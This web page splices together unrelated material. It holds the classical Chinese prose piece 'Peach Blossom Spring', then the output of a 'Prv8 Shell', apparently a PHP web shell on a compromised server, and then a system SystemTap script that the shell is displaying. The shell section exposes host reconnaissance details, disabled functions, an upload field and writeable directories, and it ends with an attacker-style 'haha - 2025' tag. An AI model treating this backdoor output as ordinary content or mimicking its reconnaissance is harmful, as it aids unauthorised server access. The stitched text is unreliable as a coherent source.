晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
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System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/sssd/systemtap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/sssd/systemtap/ldap_perf.stp
/* Start Run with:
 *
 *   stap ldap_perf.stp
 *
 * Then reproduce slow operation in another terminal.
 * Ctrl-C running stap once login completes.
 *
 * This script watches all sssd_be processes. This can be limited by
 * specifying sssd_be process id
 *
 *   stap -G sssd_be_pid=1234 ldap_perf.stp
 *
 * Probe tapsets are in /usr/share/systemtap/tapset/sssd.stp
 */

global start_time;
global sdap_attributes;
global query_attributes;
global sssd_be_pid=0;

global slowest_request_time;
global slowest_request_filter;
global slowest_request_scope;
global slowest_request_base;
global slowest_request_attrs;

probe begin
{
    printf("===== ldap queries probe started =====\n");
    id = pid();
    start_time[id] = gettimeofday_us();
    query_attributes[id] = "";
    slowest_request_time = 0;
    slowest_request_filter = "";
    slowest_request_scope = 0;
    slowest_request_base = "";
    slowest_request_attrs = "";
}

probe sdap_parse_entry
{
    id = pid();
    if (sssd_be_pid == 0 || sssd_be_pid == id) {
        idx = 0;
        while ([id, attr, idx] in sdap_attributes) {
            idx++;
        }
        sdap_attributes[id, attr, idx] = value;
    }
}

probe sdap_parse_entry_done
{
    id = pid();
    if (sssd_be_pid == 0 || sssd_be_pid == id) {
        dn = sdap_attributes[id, "OriginalDN", 0];
        printf("[%d] <- dn: %s\n", id, dn);
        delete sdap_attributes[id, "OriginalDN", *];
        foreach ([x, attr, idx] in sdap_attributes[id,*,*]) {
            printf("[%d] <- %s: %s\n", id, attr, sdap_attributes[x, attr, idx]);
        }
        delete sdap_attributes[id, *, *];
    }
}

probe sdap_search_send
{
    id = pid();
    if (sssd_be_pid == 0 || sssd_be_pid == id) {
	    printf("[%d] -> ldap request: basedn '%s', scope %d, filter '%s'\n",
               id, base, scope, filter);
        printf("[%d] -> attrs: %s\n", id, attrs);
        query_attributes[id] = attrs;
        start_time[id] = gettimeofday_ms();
        delete sdap_attributes[id, *, *];
	}
}


probe sdap_search_recv
{
    id = pid();
    if (sssd_be_pid == 0 || sssd_be_pid == id) {
        delta = gettimeofday_ms() - start_time[id];
	    printf("[%d] ldap response to request: basedn '%s', scope %d, filter '%s'\n",
               id, base, scope, filter);
        printf("[%d] took: %d ms\n", id, delta);
        printf("[%d]--------------------------------------------------\n", id);

        if (slowest_request_time < delta) {
            slowest_request_time = delta;
            slowest_request_base = base;
            slowest_request_scope = scope;
            slowest_request_filter = filter;
            slowest_request_attrs = query_attributes[id];
        }
    }
}

probe process("/usr/libexec/sssd/sssd_be").end
{
    printf("done\n");
}

probe end
{
    printf("\n===== slowest ldap request =====\n");
    printf("base: '%s'\nscope: %d\nfilter: '%s'\nattrs: %s\ntook: %d ms\n",
           slowest_request_base,
           slowest_request_scope,
           slowest_request_filter,
           slowest_request_attrs,
           slowest_request_time);
}

haha - 2025